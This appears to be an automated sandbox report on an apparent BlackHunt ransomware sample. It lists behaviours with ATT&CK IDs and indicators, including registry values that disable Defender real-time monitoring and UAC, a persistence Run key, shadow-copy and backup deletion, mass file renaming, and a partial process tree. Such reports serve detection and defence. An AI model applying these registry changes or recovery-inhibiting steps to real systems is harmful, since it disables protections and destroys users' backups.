3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d

Data Destruction

T1485

pid	Process
2664	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
2980	bcdedit.exe
1300	bcdedit.exe

Renames multiple (2350) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
1892	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\R:	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened (read-only)	\??\Z:	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened (read-only)	\??\N:	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened (read-only)	\??\J:	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened (read-only)	\??\V:	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened (read-only)	\??\S:	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened (read-only)	\??\T:	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened (read-only)	\??\U:	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened (read-only)	\??\M:	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\W:	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened (read-only)	\??\E:	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened (read-only)	\??\Y:	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened (read-only)	\??\I:	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened (read-only)	\??\O:	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened (read-only)	\??\Q:	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened (read-only)	\??\P:	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened (read-only)	\??\X:	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened (read-only)	\??\B:	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened (read-only)	\??\A:	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened (read-only)	\??\G:	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened (read-only)	\??\K:	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened (read-only)	\??\H:	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened (read-only)	\??\L:	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened (read-only)	\??\F:	vssadmin.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\Welcome.html	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\META-INF\eclipse.inf	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.ssl.feature_1.0.0.v20140827-1444\asl-v20.txt	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\CST6CDT	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.rcp_4.4.0.v20141007-2301\META-INF\MANIFEST.MF	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.css.swt.theme.nl_zh_4.4.0.v20140623020002.jar	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Swift_Current	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\gu\LC_MESSAGES\#BlackHunt_ReadMe.txt	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\jvm.hprof.txt	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.director.app.nl_zh_4.4.0.v20140623020002.jar	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-jmx_zh_CN.jar	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\gl\LC_MESSAGES\#BlackHunt_ReadMe.txt	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\Title_Trans_Notes_PAL.wmv	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\META-INF\#BlackHunt_Private.key	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\MeasureOpen.i64	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Kamchatka	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Omsk	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\plugin.xml	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.core.di_1.4.0.v20140414-1837.jar	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\#BlackHunt_ReadMe.txt	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File created	C:\Program Files\Java\jre7\lib\management\#BlackHunt_ReadMe.hta	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Africa\Ndjamena	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Aqtobe	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\kn\#BlackHunt_Private.key	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\brx\#BlackHunt_ReadMe.txt	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\Bear_Formatted_RGB6_PAL.wmv	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\tzmappings	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.rcp.feature_1.2.0.v20140523-0116\META-INF\#BlackHunt_ReadMe.txt	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\META-INF\MANIFEST.MF	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-application.xml	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File created	C:\Program Files\Java\jre7\lib\zi\SystemV\#BlackHunt_ReadMe.hta	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-application.jar	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Yerevan	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\Java\jre7\lib\psfontj2d.properties	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\da\LC_MESSAGES\#BlackHunt_ReadMe.txt	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\ext\#BlackHunt_ReadMe.hta	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-api-visual.xml	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\lib\locale\#BlackHunt_ReadMe.txt	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File created	C:\Program Files\Java\jre7\lib\zi\America\Argentina\#BlackHunt_ReadMe.txt	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Havana	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Hong_Kong	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ia\#BlackHunt_ReadMe.txt	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\#BlackHunt_ReadMe.hta	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\lib\dsn.jar	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\e4_default_mac.css	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\co\LC_MESSAGES\#BlackHunt_ReadMe.txt	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Atlantic\Bermuda	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-progress-ui_zh_CN.jar	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-application-views.xml	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sr-spc.txt	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\#BlackHunt_ReadMe.txt	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\management\jmxremote.access	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-host-remote_zh_CN.jar	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\16_9-frame-image-mask.png	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Africa\Abidjan	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Kathmandu	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\Java\jre7\lib\ext\sunec.jar	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\br\#BlackHunt_ReadMe.hta	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT-6	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\contbig.gif	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-modules-print.xml	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Winnipeg	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\#BlackHunt_Private.key	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\SystemV\AST4ADT	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
548	schtasks.exe

Interacts with shadow copies 2 TTPs 5 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
2032	vssadmin.exe
2668	vssadmin.exe
1968	vssadmin.exe
2780	vssadmin.exe
3008	vssadmin.exe

Modifies registry class 8 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	1352	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
Token: SeRestorePrivilege	1352	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
Token: SeBackupPrivilege	1352	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
Token: SeTakeOwnershipPrivilege	1352	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
Token: SeAuditPrivilege	1352	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
Token: SeSecurityPrivilege	1352	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
Token: SeIncBasePriorityPrivilege	1352	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
Token: SeBackupPrivilege	3012	vssvc.exe
Token: SeRestorePrivilege	3012	vssvc.exe
Token: SeAuditPrivilege	3012	vssvc.exe
Token: SeBackupPrivilege	368	wbengine.exe
Token: SeRestorePrivilege	368	wbengine.exe
Token: SeSecurityPrivilege	368	wbengine.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1352 wrote to memory of 2740	1352	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	35
PID 1352 wrote to memory of 2740	1352	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	35
PID 1352 wrote to memory of 2740	1352	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	35
PID 1352 wrote to memory of 2740	1352	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	35
PID 1352 wrote to memory of 2744	1352	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	33
PID 1352 wrote to memory of 2744	1352	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	33
PID 1352 wrote to memory of 2744	1352	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	33
PID 1352 wrote to memory of 2744	1352	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	33
PID 1352 wrote to memory of 2896	1352	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	29
PID 1352 wrote to memory of 2896	1352	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	29
PID 1352 wrote to memory of 2896	1352	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	29
PID 1352 wrote to memory of 2896	1352	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	29
PID 1352 wrote to memory of 2852	1352	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	32
PID 1352 wrote to memory of 2852	1352	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	32
PID 1352 wrote to memory of 2852	1352	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	32
PID 1352 wrote to memory of 2852	1352	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	32
PID 2740 wrote to memory of 2728	2740	cmd.exe	38
PID 2740 wrote to memory of 2728	2740	cmd.exe	38
PID 2740 wrote to memory of 2728	2740	cmd.exe	38
PID 1352 wrote to memory of 1960	1352	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	37
PID 1352 wrote to memory of 1960	1352	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	37
PID 1352 wrote to memory of 1960	1352	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	37
PID 1352 wrote to memory of 1960	1352	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	37
PID 1352 wrote to memory of 2756	1352	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	40
PID 1352 wrote to memory of 2756	1352	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	40
PID 1352 wrote to memory of 2756	1352	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	40
PID 1352 wrote to memory of 2756	1352	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	40
PID 1352 wrote to memory of 2928	1352	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	42
PID 1352 wrote to memory of 2928	1352	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	42
PID 1352 wrote to memory of 2928	1352	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	42
PID 1352 wrote to memory of 2928	1352	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	42
PID 2896 wrote to memory of 2620	2896	cmd.exe	44
PID 2896 wrote to memory of 2620	2896	cmd.exe	44
PID 2896 wrote to memory of 2620	2896	cmd.exe	44
PID 2744 wrote to memory of 2732	2744	cmd.exe	45
PID 2744 wrote to memory of 2732	2744	cmd.exe	45
PID 2744 wrote to memory of 2732	2744	cmd.exe	45
PID 1352 wrote to memory of 2844	1352	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	46
PID 1352 wrote to memory of 2844	1352	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	46
PID 1352 wrote to memory of 2844	1352	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	46
PID 1352 wrote to memory of 2844	1352	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	46
PID 1352 wrote to memory of 2708	1352	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	49
PID 1352 wrote to memory of 2708	1352	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	49
PID 1352 wrote to memory of 2708	1352	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	49
PID 1352 wrote to memory of 2708	1352	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	49
PID 1352 wrote to memory of 2600	1352	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	50
PID 1352 wrote to memory of 2600	1352	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	50
PID 1352 wrote to memory of 2600	1352	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	50
PID 1352 wrote to memory of 2600	1352	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	50
PID 1352 wrote to memory of 2640	1352	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	53
PID 1352 wrote to memory of 2640	1352	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	53
PID 1352 wrote to memory of 2640	1352	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	53
PID 1352 wrote to memory of 2640	1352	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	53
PID 1352 wrote to memory of 2380	1352	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	55
PID 1352 wrote to memory of 2380	1352	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	55
PID 1352 wrote to memory of 2380	1352	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	55
PID 1352 wrote to memory of 2380	1352	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	55
PID 1352 wrote to memory of 2384	1352	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	56
PID 1352 wrote to memory of 2384	1352	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	56
PID 1352 wrote to memory of 2384	1352	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	56
PID 1352 wrote to memory of 2384	1352	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	56
PID 1960 wrote to memory of 320	1960	cmd.exe	58
PID 1960 wrote to memory of 320	1960	cmd.exe	58
PID 1960 wrote to memory of 320	1960	cmd.exe	58

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
"C:\Users\Admin\AppData\Local\Temp\3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1352
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2896
